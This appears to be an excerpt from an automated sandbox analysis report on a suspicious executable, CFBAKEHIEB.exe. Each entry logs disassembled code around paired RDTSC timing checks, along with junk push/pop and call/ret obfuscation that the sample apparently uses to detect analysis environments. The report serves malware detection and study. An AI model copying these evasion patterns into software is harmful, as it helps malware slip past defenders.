Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C7923 second address: 5C792E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F12E108FDB6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59818C second address: 5981B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F12E0FAFC76h 0x00000009 jbe 00007F12E0FAFC76h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F12E0FAFC82h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5981B4 second address: 5981C7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F12E108FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F12E108FDB6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59C81A second address: 59C81F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59ED89 second address: 59ED8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A5D7B second address: 5A5D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A5D7F second address: 5A5E2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F12E108FDB6h 0x00000009 js 00007F12E108FDB6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F12E108FDB8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d pushad 0x0000002e mov edx, dword ptr [ebp+122D1E21h] 0x00000034 jmp 00007F12E108FDC3h 0x00000039 popad 0x0000003a push dword ptr fs:[00000000h] 0x00000041 sub dword ptr [ebp+122D31E3h], esi 0x00000047 mov dword ptr fs:[00000000h], esp 0x0000004e mov ebx, dword ptr [ebp+122D1B9Bh] 0x00000054 mov eax, dword ptr [ebp+122D00DDh] 0x0000005a sbb ebx, 01E1A76Fh 0x00000060 push FFFFFFFFh 0x00000062 push 00000000h 0x00000064 push edi 0x00000065 call 00007F12E108FDB8h 0x0000006a pop edi 0x0000006b mov dword ptr [esp+04h], edi 0x0000006f add dword ptr [esp+04h], 00000016h 0x00000077 inc edi 0x00000078 push edi 0x00000079 ret 0x0000007a pop edi 0x0000007b ret 0x0000007c jmp 00007F12E108FDBCh 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 jl 00007F12E108FDB8h 0x0000008a pushad 0x0000008b popad 0x0000008c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A9C1F second address: 5A9C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5A6CC4 second address: 5A6CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5AF165 second address: 5AF16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5AF16E second address: 5AF172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5AF172 second address: 5AF193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F12E0FAFC85h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5AF193 second address: 5AF19D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C7A91 second address: 5C7AAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F12E0FAFC88h 0x0000000c jmp 00007F12E0FAFC82h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C7AAF second address: 5C7AB4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C7AB4 second address: 5C7ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C7C22 second address: 5C7C28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 577483 second address: 5774A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Ch 0x00000007 jo 00007F12E0FAFC78h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 js 00007F12E0FAFC76h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5774A6 second address: 5774BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F12E108FDBEh 0x0000000e pushad 0x0000000f popad 0x00000010 je 00007F12E108FDB6h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5774BF second address: 5774C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C81BE second address: 5C81F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F12E108FDBCh 0x0000000b jns 00007F12E108FDB6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F12E108FDC7h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5C81F0 second address: 5C822A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F12E0FAFC89h 0x0000000b pushad 0x0000000c jmp 00007F12E0FAFC88h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5CBBA2 second address: 5CBBA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5CBBA6 second address: 5CBBAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5CBBAE second address: 5CBBB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5CBBB3 second address: 5CBBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F12E0FAFC76h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5D2FDB second address: 5D2FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F12E108FDB6h 0x0000000a jmp 00007F12E108FDBEh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5D2FF4 second address: 5D2FF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5D2FF9 second address: 5D3001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5D3001 second address: 5D3022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F12E0FAFC84h 0x0000000c jno 00007F12E0FAFC76h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5D2BBA second address: 5D2BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F12E108FDB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5D2BC4 second address: 5D2BC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5D3ABC second address: 5D3AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5944BB second address: 5944C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5944C1 second address: 5944C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5944C5 second address: 57689A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F12E0FAFC7Eh 0x0000000f jp 00007F12E0FAFC78h 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F12E0FAFC78h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 jbe 00007F12E0FAFC7Bh 0x00000036 mov edi, 71398A3Ah 0x0000003b sub dword ptr [ebp+122D2756h], esi 0x00000041 lea eax, dword ptr [ebp+12489249h] 0x00000047 movzx edi, bx 0x0000004a nop 0x0000004b jns 00007F12E0FAFC7Eh 0x00000051 push eax 0x00000052 pushad 0x00000053 jmp 00007F12E0FAFC7Fh 0x00000058 push edi 0x00000059 jc 00007F12E0FAFC76h 0x0000005f pop edi 0x00000060 popad 0x00000061 nop 0x00000062 mov ecx, dword ptr [ebp+122D1C52h] 0x00000068 call dword ptr [ebp+122D1B6Bh] 0x0000006e push ebx 0x0000006f pushad 0x00000070 jns 00007F12E0FAFC76h 0x00000076 pushad 0x00000077 popad 0x00000078 jmp 00007F12E0FAFC7Bh 0x0000007d popad 0x0000007e push ebx 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5945CD second address: 5945D7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F12E108FDBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595291 second address: 595295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 595295 second address: 59529B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59529B second address: 5952B4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F12E0FAFC78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jbe 00007F12E0FAFC76h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59553A second address: 59558E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F12E108FDB8h 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 jmp 00007F12E108FDC2h 0x00000025 mov eax, dword ptr [eax] 0x00000027 jmp 00007F12E108FDBAh 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F12E108FDBFh 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 59565E second address: 5956B6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F12E0FAFC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add edi, 066802FBh 0x00000011 mov dword ptr [ebp+12483F1Ah], edx 0x00000017 lea eax, dword ptr [ebp+1248928Dh] 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007F12E0FAFC78h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 jmp 00007F12E0FAFC80h 0x0000003c nop 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push ebx 0x00000042 pop ebx 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5956B6 second address: 5956C0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F12E108FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5956C0 second address: 5956CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F12E0FAFC76h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5956CA second address: 5956DC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F12E108FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5956DC second address: 5956E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5956E0 second address: 577483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F12E108FDB8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 lea eax, dword ptr [ebp+12489249h] 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F12E108FDB8h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 or dword ptr [ebp+12469D19h], edx 0x00000048 push eax 0x00000049 jnl 00007F12E108FDCDh 0x0000004f mov dword ptr [esp], eax 0x00000052 call dword ptr [ebp+122D215Ch] 0x00000058 push eax 0x00000059 push edx 0x0000005a push ecx 0x0000005b push edx 0x0000005c pop edx 0x0000005d jmp 00007F12E108FDC6h 0x00000062 pop ecx 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5D85A7 second address: 5D85AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5DCF60 second address: 5DCF6A instructions: 0x00000000 rdtsc 0x00000002 js 00007F12E108FDB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5DCF6A second address: 5DCF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 jmp 00007F12E0FAFC84h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5DCF88 second address: 5DCFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 jmp 00007F12E108FDC1h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5508CE second address: 5508E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC7Bh 0x00000009 jmp 00007F12E0FAFC7Ch 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5DCB10 second address: 5DCB18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E30CD second address: 5E30DE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007F12E0FAFC76h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E29BD second address: 5E29CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E29CB second address: 5E29E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC86h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E2DF1 second address: 5E2E0D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F12E108FDC2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E2E0D second address: 5E2E32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 js 00007F12E0FAFC76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F12E0FAFC89h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E7FB8 second address: 5E7FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E7FBE second address: 5E7FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E7FC2 second address: 5E7FC8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E7FC8 second address: 5E7FD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E7FD1 second address: 5E8001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F12E108FDBEh 0x0000000e jmp 00007F12E108FDC9h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E73A0 second address: 5E73A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E73A8 second address: 5E73D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F12E108FDC0h 0x00000009 jmp 00007F12E108FDC5h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E76DD second address: 5E76E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E76E3 second address: 5E76E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E76E7 second address: 5E76F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F12E0FAFC76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E76F6 second address: 5E775F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F12E108FDBDh 0x00000009 jmp 00007F12E108FDC3h 0x0000000e popad 0x0000000f jnp 00007F12E108FDCCh 0x00000015 jmp 00007F12E108FDC7h 0x0000001a popad 0x0000001b jbe 00007F12E108FDCEh 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 pop eax 0x00000025 jno 00007F12E108FDB6h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5E78B1 second address: 5E7915 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F12E0FAFC7Ch 0x00000008 pushad 0x00000009 jmp 00007F12E0FAFC86h 0x0000000e jnc 00007F12E0FAFC76h 0x00000014 jl 00007F12E0FAFC76h 0x0000001a jnc 00007F12E0FAFC76h 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 jl 00007F12E0FAFCA7h 0x00000029 jmp 00007F12E0FAFC7Ch 0x0000002e pushad 0x0000002f jmp 00007F12E0FAFC85h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5EC424 second address: 5EC42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5EC582 second address: 5EC58C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F12E0FAFC76h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5EC58C second address: 5EC59A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F12E108FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 5EC59A second address: 5EC59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
